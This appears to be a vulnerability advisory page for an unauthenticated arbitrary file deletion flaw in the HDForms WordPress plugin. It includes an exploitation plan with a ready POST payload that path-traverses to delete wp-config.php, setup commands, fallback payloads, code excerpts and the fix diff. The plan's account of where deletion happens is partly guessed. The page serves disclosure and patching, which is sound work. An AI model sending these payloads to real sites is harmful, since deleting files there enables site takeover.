HDForms <= 1.6.1 - Unauthenticated Arbitrary File Deletion
Description
The HDForms | Contact Form Builder plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 1.6.1. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v1.6.2
Source Code
WordPress.org SVN# Research Plan: CVE-2025-68912 - HDForms Unauthenticated Arbitrary File Deletion ## Vulnerability Summary The **HDForms | Contact Form Builder** plugin for WordPress (versions <= 1.6.1) is vulnerable to unauthenticated arbitrary file deletion. The vulnerability exists in the `hdf_submit_form` func…
Show full research plan
Research Plan: CVE-2025-68912 - HDForms Unauthenticated Arbitrary File Deletion
Vulnerability Summary
The HDForms | Contact Form Builder plugin for WordPress (versions <= 1.6.1) is vulnerable to unauthenticated arbitrary file deletion. The vulnerability exists in the hdf_submit_form function within includes/functions.php, which handles form submissions via AJAX. The plugin fails to validate or sanitize file paths provided in form fields of type upload before passing them to a file deletion/cleanup routine (likely unlink). An attacker can use path traversal (../) to delete sensitive files like wp-config.php, leading to site takeover.
Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
hdf_submit_form(registered viawp_ajax_nopriv_hdf_submit_form, making it unauthenticated). - Vulnerable Parameters:
hdf: The form identifier (e.g.,hdf-123), used to fetch form metadata.data: A JSON-encoded string containing form field values.
- Authentication: None required.
- Preconditions: At least one form (
hdf_formpost type) must exist and contain a field of typeupload.
Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=hdf_submit_form. - Form Retrieval: In
includes/functions.php,hdf_submit_form()extracts the form ID from$_POST["hdf"]usingstr_replace("hdf-", "", $hdf_id). - Data Parsing: The
$_POST["data"]JSON string is decoded:$data = json_decode(stripslashes($_POST["data"]), true);. - Metadata Lookup: The function retrieves the form's defined blocks (fields) from post meta:
$hdf_blocks = get_post_meta($hdf_id, "form_blocks", true);. - Processing: The code calls
hdf_sanitize_by_type($data, $hdf_blocks)and subsequentlyhdf_create_result($data, $hdf_form). - The Sink: Inside the processing logic (likely
hdf_create_resultor a helper called during file handling), the plugin identifies a field as anuploadtype and uses the value provided in thedataparameter as a file path to be cleaned up or unlinked. Because../is not stripped, arbitrary files can be targeted.
Nonce Acquisition Strategy
No nonce is required.
Reviewing includes/functions.php, the hdf_submit_form function does not call check_ajax_referer or wp_verify_nonce.
function hdf_submit_form()
{
if (!isset($_POST["hdf"]) || !isset($_POST["data"])) {
echo '{"status": "error", "message":"No form data sent"}';
die();
}
// ... logic continues without nonce verification
It only calls hdf_flood_protection(), but the global scope of functions.php contains update_option("hdf_flood", "");, which effectively resets the flood protection list on every request, rendering it useless.
Exploitation Strategy
1. Preparation
Identify a valid Form ID and a field name of type upload. For the PoC, we will create one using WP-CLI.
2. Payload Construction
The data parameter must be a JSON array of objects representing form fields.
- Action:
hdf_submit_form - hdf:
hdf-[FORM_ID] - data:
[{"name":"[FIELD_NAME]","value":"../../../../wp-config.php","type":"upload"}]
3. HTTP Request (using http_request tool)
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=hdf_submit_form&hdf=hdf-[ID]&data=[{"name":"file_field","value":"../../../../wp-config.php","type":"upload"}]
Test Data Setup
To ensure the exploit reaches the vulnerable code path, we must create an hdf_form with an upload block.
# 1. Create a target file to delete
touch /var/www/html/delete-me.txt
# 2. Create the HDForm post
FORM_ID=$(wp post create --post_type=hdf_form --post_status=publish --post_title="Exploit Form" --format=ids)
# 3. Set the form data meta (required by the plugin to recognize the form)
wp post meta update $FORM_ID form_data '{"title":"Exploit Form"}' --format=json
# 4. Set the form blocks meta to include an 'upload' field
# This ensures hdf_sanitize_by_type recognizes the field type
wp post meta update $FORM_ID form_blocks '[{"name":"file_field","type":"upload","label":"File Upload"}]' --format=json
Expected Results
- The server will respond with a JSON success message or an error related to the form being "sent" (since the file deletion happens during the process).
- The targeted file (e.g.,
/var/www/html/delete-me.txtorwp-config.php) will be removed from the filesystem.
Verification Steps
- Check File Existence: Use
lsortest -fvia WP-CLI to confirm the file is gone.# Check if our test file was deleted ls /var/www/html/delete-me.txt - Check for wp-config.php: If targeting
wp-config.php, attempt to access the site root. WordPress should redirect towp-admin/setup-config.php.
Alternative Approaches
If the JSON structure [{"name": "...", "value": "..."}] fails, the plugin might expect a flattened object if hdf_get_form_values was already executed on the client side (though hdf_submit_form suggests it happens on the server):
- Backup Payload:
data={"file_field":"../../../../wp-config.php"} - Alternative Path: Use more traversal levels if the working directory is deeper (e.g.,
../../../../../../wp-config.php). - Target Location: If
ABSPATHis not the base, target files inwp-content/uploads/to verify traversal within the uploads directory first.
Summary
The HDForms plugin for WordPress is vulnerable to unauthenticated arbitrary file deletion due to a lack of path validation during form submission handling. An attacker can submit a form containing an 'upload' field with a path traversal value (e.g., ../../wp-config.php), which causes the plugin to unlink the specified file during its cleanup or processing routine.
Vulnerable Code
// includes/functions.php:127 function hdf_submit_form() { if (!isset($_POST["hdf"]) || !isset($_POST["data"])) { echo '{"status": "error", "message":"No form data sent"}'; die(); } $hdf_id = $_POST["hdf"]; $hdf_id = str_replace("hdf-", "", $hdf_id); $hdf_id = intVal($hdf_id); $data = stripslashes($_POST["data"]); $data = json_decode($data, true); $hdf_form = get_post_meta($hdf_id, "form_data", true); // ... (validates form existence and flood protection) $hdf_blocks = get_post_meta($hdf_id, "form_blocks", true); $hdf_blocks = hdf_get_form_blocks($hdf_blocks); $data = hdf_get_form_values($data, "value"); $data = hdf_sanitize_by_type($data, $hdf_blocks); // ... (triggering the sink likely inside hdf_create_result or associated file handlers) hdf_create_result($data, $hdf_form); die(); } --- // includes/functions.php:749 (Logic removed in 1.6.2) function hdf_uploads_cron($dir) { // ... (inadequate safety check) $dir = sanitize_text_field($dir); // delete the folder array_map('unlink', glob("$dir/*.*")); // delete all files in folder rmdir($dir); }
Security Fix
@@ -154,7 +154,7 @@ $hdf_blocks = get_post_meta($hdf_id, "form_blocks", true); $hdf_blocks = hdf_get_form_blocks($hdf_blocks); - $data = hdf_get_form_values($data, "value"); + $data = hdf_get_form_values($data); $data = hdf_sanitize_by_type($data, $hdf_blocks); $action_data = do_action("hdf_after_server", $data, $hdf_form); @@ -620,133 +620,3 @@ return $actions; } -/* Accept File Upload -function hdf_file_upload() -{ - if (!isset($_FILES) || !isset($_FILES["file"])) { - echo '{"status": "fail", "message": "no upload was found"}'; - die(); // no file uploaded - } - - if (!isset($_POST["formId"])) { - echo '{"status": "fail", "message": "no formId was provided"}'; - die(); // no file uploaded - } - - $file = $_FILES["file"]; - $formId = sanitize_text_field($_POST["formId"]); - $uid = sanitize_text_field($_POST["uid"]); - - // ... (rest of hdf_file_upload deleted) -} -add_action('wp_ajax_hdf_file_upload', 'hdf_file_upload'); -add_action('wp_ajax_nopriv_hdf_file_upload', 'hdf_file_upload'); - -function hdf_uploads_cron($dir) -{ - // ... (rest of hdf_uploads_cron and hdf_check_dir_safe deleted) - // delete the folder - array_map('unlink', glob("$dir/*.*")); // delete all files in folder - rmdir($dir); -} -add_action('hdf_uploads_cron', 'hdf_uploads_cron', 10, 1);
Exploit Outline
The exploit targets the unauthenticated `hdf_submit_form` AJAX action. An attacker first identifies an existing form ID and a field name within that form that is defined as an 'upload' type. They then send a POST request to `wp-admin/admin-ajax.php` with the parameter `action=hdf_submit_form`. The payload includes the form ID in the `hdf` parameter and a JSON-encoded array in the `data` parameter. This JSON contains an object where the 'type' is set to 'upload' and the 'value' is set to a path traversal string pointing to a sensitive file (e.g., `../../../../wp-config.php`). When the plugin processes the submission, it inadvertently uses this path in a file deletion operation, unlinking the targeted file.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.